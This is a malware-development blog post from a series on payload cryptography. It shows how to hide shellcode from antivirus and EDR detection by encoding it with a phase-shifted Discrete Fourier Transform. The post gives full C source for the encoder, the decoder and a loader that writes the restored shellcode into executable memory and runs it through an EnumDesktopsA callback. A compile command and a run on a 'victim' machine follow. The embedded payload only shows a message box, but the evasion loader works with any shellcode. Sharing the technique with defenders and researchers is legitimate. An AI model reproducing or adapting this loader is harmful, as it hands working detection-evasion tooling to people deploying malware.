Malware and cryptography 44 - encrypt/decrypt payload via Discrete Fourier Transform. Simple C example.

﷽

Hello, cybersecurity enthusiasts and white hackers!

In previous posts, we explored how to hide our shellcode using various encryption algorithms like Speck and Mars. These are great, but they have one common weakness: crypto-constants

This is a logical continuation of the malware cryptography series. So I decided to write about the Fourier transform as an obfuscation technique that shifts the focus from “classical cryptography” to “mathematical steganography.”

For example, most EDR and AV solutions look for specific S-boxes, XOR patterns, or bitwise rotation constants (like the magic numbers in Speck). If they see these constants, your “hidden” payload is immediately flagged as suspicious.

Today, we will move away from classical encryption and use pure mathematics. We are going to use the Discrete Fourier Transform (DFT) to turn our shellcode into frequency noise.

DFT

The Fourier Transform is a mathematical tool used in signal processing (audio, image compression, radio). It decomposes a signal into its constituent frequencies.

In our context, we treat shellcode as a discrete signal.

To turn our shellcode bytes ($x_n$) into frequency noise ($X_k$), we use the following formula:

\[X_k = \sum_{n=0}^{N-1} x_n \cdot e^{-i \frac{2\pi}{N} kn}\]

Where:

• $N$ is the total number of bytes (including padding).
• $x_n$ is the value of the $n$-th byte of the shellcode.
• $X_k$ is the resulting complex number in the frequency domain.

Since C doesn’t handle complex exponents natively without specific headers, we use Euler’s Formula to split the calculation into real and imaginary parts (sine and cosine waves):

\[e^{-i \theta} = \cos(\theta) - i \sin(\theta)\]

Substituting this into our DFT equation, we get the exact logic used in our dft_transform function:

\[X_k = \sum_{n=0}^{N-1} x_n \left[ \cos\left(\frac{2\pi kn}{N}\right) - i \sin\left(\frac{2\pi kn}{N}\right) \right]\]

// DFT (encryption/obfuscation)
void dft_transform(unsigned char* input, double complex* output, int n) {
  for (int k = 0; k < n; k++) {
    output[k] = 0;
    for (int t = 0; t < n; t++) {
      double angle = 2 * PI * k * t / n + key_shift;
      output[k] += (double)input[t] * (cos(angle) - I * sin(angle));
    }
  }
}

To prevent simple automated reversal, we introduce a Phase Shift ($\phi$), which acts as our mathematical key (the key_shift variable in our code):

\[X_k = \sum_{n=0}^{N-1} x_n \cdot e^{-i \left( \frac{2\pi kn}{N} + \phi \right)}\]

Without the exact value of $\phi$, any attempt to restore the shellcode will result in useless garbage data.

double key_shift = 0.12345; 

To restore the original shellcode bytes back into executable memory, we perform the Inverse Discrete Fourier Transform (IDFT). We sum the frequency components and normalize them:

\[x_n = \frac{1}{N} \sum_{k=0}^{N-1} X_k \cdot e^{i \left( \frac{2\pi kn}{N} + \phi \right)}\]

In our C code, this is implemented as:

\[x_n = \text{round} \left( \frac{1}{N} \sum_{k=0}^{N-1} X_k \left[ \cos\left(\frac{2\pi kn}{N} + \phi \right) + i \sin\left(\frac{2\pi kn}{N} + \phi \right) \right] \right)\]

// inverse DFT (decryption/restoration)
void idft_restore(double complex* input, unsigned char* output, int n) {
  for (int t = 0; t < n; t++) {
    double complex res = 0;
    for (int k = 0; k < n; k++) {
      double angle = 2 * PI * k * t / n + key_shift;
      res += input[k] * (cos(angle) + I * sin(angle));
    }
    output[t] = (unsigned char)(creal(res) / n + 0.5);
  }
}

Finally, we will add padding to ensure our shellcode length is a multiple of our block size.

So, full source code is looks like the following (hack.c):

/*
 * hack.c
 * obfuscate shellcode via 
 * Discrete Fourier Transform (DFT) with padding
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2026/03/05/malware-cryptography-44.html
*/

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <complex.h>
#include <math.h>
#include <windows.h>

#define PI 3.14159265358979323846
#define BLOCK_SIZE 16

double key_shift = 0.12345; 

// forward DFT (encryption/obfuscation)
void dft_transform(unsigned char* input, double complex* output, int n) {
  for (int k = 0; k < n; k++) {
    output[k] = 0;
    for (int t = 0; t < n; t++) {
      double angle = 2 * PI * k * t / n + key_shift;
      output[k] += (double)input[t] * (cos(angle) - I * sin(angle));
    }
  }
}

// inverse DFT (decryption/restoration)
void idft_restore(double complex* input, unsigned char* output, int n) {
  for (int t = 0; t < n; t++) {
    double complex res = 0;
    for (int k = 0; k < n; k++) {
      double angle = 2 * PI * k * t / n + key_shift;
      res += input[k] * (cos(angle) + I * sin(angle));
    }
    output[t] = (unsigned char)(creal(res) / n + 0.5);
  }
}

int main() {
  // x64 meow-meow messagebox shellcode
  unsigned char my_payload[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
    0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
    0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
    0x00, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x00, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
    0x85, 0x09, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x00, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x00
  };

  int my_payload_len = sizeof(my_payload);

  printf("original payload: \n");
  for (size_t i = 0; i < my_payload_len; i++) printf("%02x ", my_payload[i]);
  printf("\n");
  
  // calculate padded length (multiple of BLOCK_SIZE)
  int pad_len = my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE;

  // prepare padded buffer with NOPs (0x90)
  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, my_payload_len);

  // prepare buffer for complex encoded data
  double complex encoded[pad_len];

  printf("original payload len: %d\n", my_payload_len);
  printf("padded payload len: %d\n\n", pad_len);

  // "encryption" (DFT)
  dft_transform(padded, encoded, pad_len);

  printf("DFT transformation complete. payload is now complex noise.\n\n");

  for (size_t i = 0; i < pad_len; i++) printf("[%d] %f %+.2fi\n", i, creal(encoded[i]), cimag(encoded[i]));
  printf("\n");

  // "decryption" (IDFT)
  // clear the 'padded' buffer to simulate restoration from memory
  memset(padded, 0, pad_len);
  idft_restore(encoded, padded, pad_len);

  printf("restored (decrypted) payload: \n");
  for (int i = 0; i < pad_len; i++) printf("%02x ", padded[i]); // print bytes
  printf("\n\n");

  // execution
  // use VirtualAlloc to allocate executable memory
  LPVOID mem = VirtualAlloc(NULL, pad_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (mem != NULL) {
    RtlMoveMemory(mem, padded, pad_len);
    
    // execute using a callback trick (EnumDesktopsA)
    printf("executing restored shellcode... meow! =^..^=\n");
    EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
  }

  return 0;
}

As you can see, for simplicity, as usual, I used meow-meow ,messagebox shellcode:

unsigned char my_payload[] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  0x00, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x00, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  0x85, 0x09, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  0x56, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
  0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
  0x21, 0x00, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x00
};

and just for demo, print everything.

demo

Let’s go to see this trick in action. Compile it:

x86_64-w64-mingw32-gcc hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lm

The only difference from the usual command that I use here is the linking of the Math library (for sin, cos).

Then, run it at the victim’s machine (Windows 11 VM in my case):

.\hack.exe

As you can see, everything works perfectly, as expected! =^..^=

Let’s analyze with ANY.RUN:

https://app.any.run/tasks/b27d128f-d25f-41cd-a2c6-aea71c37d13c

summary

By using these formulas, we achieve two things:

• Entropy Disruption: the resulting complex data has a high-entropy distribution similar to white noise, making it invisible to signature-based scanners.

• Type Confusion: we shift from unsigned char[] (executable code) to double complex[] (scientific data), bypassing heuristics that look for shellcode structures.

Also, the code doesn’t contain something like AES_encrypt or XOR functions. It only contains sin() and cos(), which are used in any graphics engine or media player.

Of course, this is not a bulletproof trick, but as an idea it works quite well.

You might wonder: is this just a “academic” trick, or does it have real-world applications in high-end cyber espionage?

While we don’t often see a pure DFT loop in every commodity Trojan, the philosophy behind it is a hallmark of sophisticated APT groups. Here is why this idea is more “real” than it looks.

In the world of malware development, the goal is often not “invincibility,” but increasing the cost of analysis. By forcing an analyst to brush up on their university calculus just to understand our decryption routine, we’ve already won the first round of the battle 😈

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Thanks to ANY.RUN for API! ❤️

Discrete Fourier Transform (DFT)
run shellcode via EnumDesktopsA
Malware and cryptography 1
ANY.RUN
ANY.RUN: hack.exe
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine